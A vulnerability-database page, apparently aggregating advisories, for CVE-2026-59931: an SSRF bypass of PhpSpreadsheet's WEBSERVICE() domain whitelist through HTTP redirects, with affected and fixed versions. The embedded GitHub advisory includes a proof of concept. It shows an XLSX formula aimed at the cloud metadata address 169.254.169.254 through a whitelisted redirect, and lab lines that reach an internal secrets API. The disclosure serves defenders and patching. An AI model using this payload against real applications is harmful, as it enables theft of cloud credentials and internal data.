Every CVE Search/ Get API key

CVE-2026-59931

PhpSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

7.7 HighFix available

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
Low
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.47%Down 0.1 points since Jul 29, 2026
90%50%10%1%

What each source reports

CVE List Score used 7.7

PhpSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.

Record
CVE-2026-59931
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
EUVDEUVD-2026-49929 7.7

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.

Record
EUVD-2026-49929
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-6hq5-7373-42rg 7.7

PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

$ctxArray = [
    'http' => [
        'user_agent' => 'Mozilla/5.0 ...',
        // follow_location defaults to true
        // max_redirects defaults to 20
    ],
];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}

// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites:

  • Application uses PhpSpreadsheet >= 5.4.0
  • Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
  • Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

  1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).

  2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:

<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
  1. Upload the XLSX to the target application. The calculation engine:
    • Validates whitelisted-domain.com against the whitelist — passes
    • Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
    • file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ — no re-validation
    • Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target

# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)

# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

  • Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets -…
Record
GHSA-6hq5-7373-42rg
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
NVD 7.7

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.

Record
CVE-2026-59931
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSV 7.7

PhpSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

PhpSpreadsheet is a pure PHP library for reading and writing spreadsheet files. In versions 4.0.0 through 5.8.0, 3.3.0 through 3.10.6, 2.2.0 through 2.4.6, 2.0.0 through 2.1.17, and all releases up to and including 1.30.5, the WEBSERVICE() domain whitelist can be bypassed via an HTTP redirect (SSRF). In Calculation/Web/Service.php, the webService() method validates a URL's host against the whitelist set via Spreadsheet::setDomainWhiteList(), then fetches content with file_get_contents($url, false, $ctx); because PHP's HTTP stream wrapper follows 301/302 redirects automatically (up to 20 hops) and the redirect target is never re-validated, an attacker who can trigger a redirect from a whitelisted domain can reach arbitrary URLs, including internal addresses. An attacker able to upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can achieve a full-read SSRF, returning up to 32,767 bytes of the response body as a cell's calculated value, which enables exfiltration of cloud metadata (AWS/GCP/Azure credentials via http://169.254.169.254/), access to internal-only services, and internal port scanning (the port is not validated). This issue has been fixed in versions 5.8.1, 3.10.7, 2.4.7, 2.1.18, and 1.30.6.

Record
CVE-2026-59931
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02
OSVGHSA-6hq5-7373-42rg 7.7

PHPSpreadsheet: SSRF bypass via HTTP redirect in WEBSERVICE() domain whitelist

Summary

The domain whitelist introduced in PhpSpreadsheet 5.4.0 for the WEBSERVICE() formula function can be bypassed via HTTP redirect. The whitelist validates only the initial URL's hostname, but file_get_contents() follows 302/301 redirects by default without re-validating the redirect target against the whitelist. This allows an attacker to reach internal services through a whitelisted domain that issues an HTTP redirect.

Details

In Calculation/Web/Service.php, the webService() method validates the URL's host against a domain whitelist set via Spreadsheet::setDomainWhiteList(). If the host passes validation, the method calls file_get_contents($url, false, $ctx) to fetch the content.

The stream context does not disable redirect following:

$ctxArray = [
    'http' => [
        'user_agent' => 'Mozilla/5.0 ...',
        // follow_location defaults to true
        // max_redirects defaults to 20
    ],
];

PHP's HTTP stream wrapper follows redirects automatically (up to 20 hops by default). The redirect target URL is not re-validated against the domain whitelist. An attacker who can trigger a 302 redirect from a whitelisted domain can redirect the request to any arbitrary URL, including internal network addresses.

Vulnerable code (Calculation/Web/Service.php):

// Whitelist check — runs ONCE on the initial URL
$domainWhiteList = $cell?->getWorksheet()->getParent()?->getDomainWhiteList() ?? [];
$host = $parsed['host'] ?? '';
if (!in_array($host, $domainWhiteList, true)) {
    return ($cell === null) ? null : Functions::NOT_YET_IMPLEMENTED;
}

// HTTP request — follows redirects to ANY destination
$ctx = stream_context_create($ctxArray);
$output = @file_get_contents($url, false, $ctx);

Additionally, the whitelist check uses only the hostname from parse_url(), ignoring the port. This means whitelisting example.com permits access to all ports on that host.

PoC

Prerequisites:

  • Application uses PhpSpreadsheet >= 5.4.0
  • Application calls $spreadsheet->setDomainWhiteList([...]) with at least one domain
  • Application calls $cell->getCalculatedValue() on uploaded XLSX files

Attack steps:

  1. Identify or control a URL on a whitelisted domain that returns an HTTP 302 redirect (e.g., an open redirect endpoint, or a domain the attacker controls).

  2. Craft an XLSX file with a WEBSERVICE formula targeting the redirect URL:

<c r="A1">
  <f>_xlfn.WEBSERVICE("http://whitelisted-domain.com/redirect?url=http://169.254.169.254/latest/meta-data/")</f>
</c>
  1. Upload the XLSX to the target application. The calculation engine:
    • Validates whitelisted-domain.com against the whitelist — passes
    • Calls file_get_contents("http://whitelisted-domain.com/redirect?url=...")
    • file_get_contents follows the 302 redirect to http://169.254.169.254/latest/meta-data/ — no re-validation
    • Returns the cloud metadata response as the cell's calculated value

Lab reproduction:

# Setup (PhpSpreadsheet 5.7.0, PHP 8.3)
# App whitelists "trusted-api.example.com"
# Redirect server on trusted-api.example.com:7071 returns 302 → internal target

# Test 1: Direct internal access — BLOCKED by whitelist
=WEBSERVICE("http://127.0.0.1:9090/internal-api/secrets")
→ Result: null (blocked)

# Test 2: Via redirect from whitelisted domain — BYPASS
=WEBSERVICE("http://trusted-api.example.com:7071/redirect-to-internal")
→ Result: {"ssrf":"CONFIRMED","secret":"internal-api-key-LATEST","server":"Linux ..."}

Confirmed on PhpSpreadsheet 5.7.0 with PHP 8.3. Confirmed via Burp Collaborator (OOB HTTP interaction received at attacker-controlled domain through the redirect chain).

Impact

An attacker who can upload XLSX files to an application that uses setDomainWhiteList() and getCalculatedValue() can:

  • Bypass the domain whitelist by routing requests through a whitelisted domain that redirects to internal targets -…
Record
GHSA-6hq5-7373-42rg
CVSS 3.1
7.7 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Weakness
CWE-918
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
phpoffice/phpspreadsheet
Packagist
4.0.0 to 5.8.0
5.8.1
phpoffice/phpspreadsheet
Packagist
3.3.0 to 3.10.6
3.10.7
phpoffice/phpspreadsheet
Packagist
2.2.0 to 2.4.6
2.4.7
phpoffice/phpspreadsheet
Packagist
2.0.0 to 2.1.17
2.1.18
phpoffice/phpspreadsheet
Packagist
through 1.30.5
1.30.6
phpoffice/phpspreadsheet
Packagist
4.0.0 up to 5.8.1, plus listed versions
4.1.04.2.04.3.04.3.14.4.0
Show 10 moreShow less
4.5.05.0.05.1.05.2.05.3.05.4.05.5.05.6.05.7.05.8.0
5.8.1
phpoffice/phpspreadsheet
Packagist
3.3.0 up to 3.10.7, plus listed versions
3.10.03.10.13.10.23.10.33.10.4
Show 11 moreShow less
3.10.53.10.63.4.03.5.03.6.03.7.03.8.03.9.03.9.13.9.23.9.3
3.10.7
phpoffice/phpspreadsheet
Packagist
2.2.0 up to 2.4.7, plus listed versions
2.2.12.2.22.3.02.3.102.3.2
Show 14 moreShow less
2.3.32.3.42.3.52.3.62.3.72.3.82.3.92.4.02.4.12.4.22.4.32.4.42.4.52.4.6
2.4.7
phpoffice/phpspreadsheet
Packagist
2.0.0 up to 2.1.18, plus listed versions
2.1.02.1.12.1.102.1.112.1.12
Show 12 moreShow less
2.1.132.1.142.1.152.1.162.1.172.1.32.1.42.1.52.1.62.1.72.1.82.1.9
2.1.18
phpoffice/phpspreadsheet
Packagist
before 1.30.6, plus listed versions
1.0.01.0.0-beta1.0.0-beta21.1.01.10.0
Show 45 moreShow less
1.10.11.11.01.12.01.13.01.14.01.14.11.15.01.16.01.17.01.17.11.18.01.19.01.2.01.2.11.20.01.21.01.22.01.23.01.24.01.24.11.25.01.25.11.25.21.26.01.27.01.27.11.28.01.29.01.29.11.29.101.29.111.29.121.29.21.29.41.29.51.29.61.29.71.29.81.29.91.3.01.3.11.30.01.30.11.30.21.30.3
1.30.6

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-59931 is a high vulnerability (CVSS 7.7) in Phpoffice Phpspreadsheet, published July 23, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.47%, the 41st percentile. Fixed in phpoffice/phpspreadsheet 5.8.1.

References

Show 5 moreShow less
This page doesn't list everything

Left out here: 13 versions and the rest of 2 source descriptions. The JSON record has them.

MoveEnter Open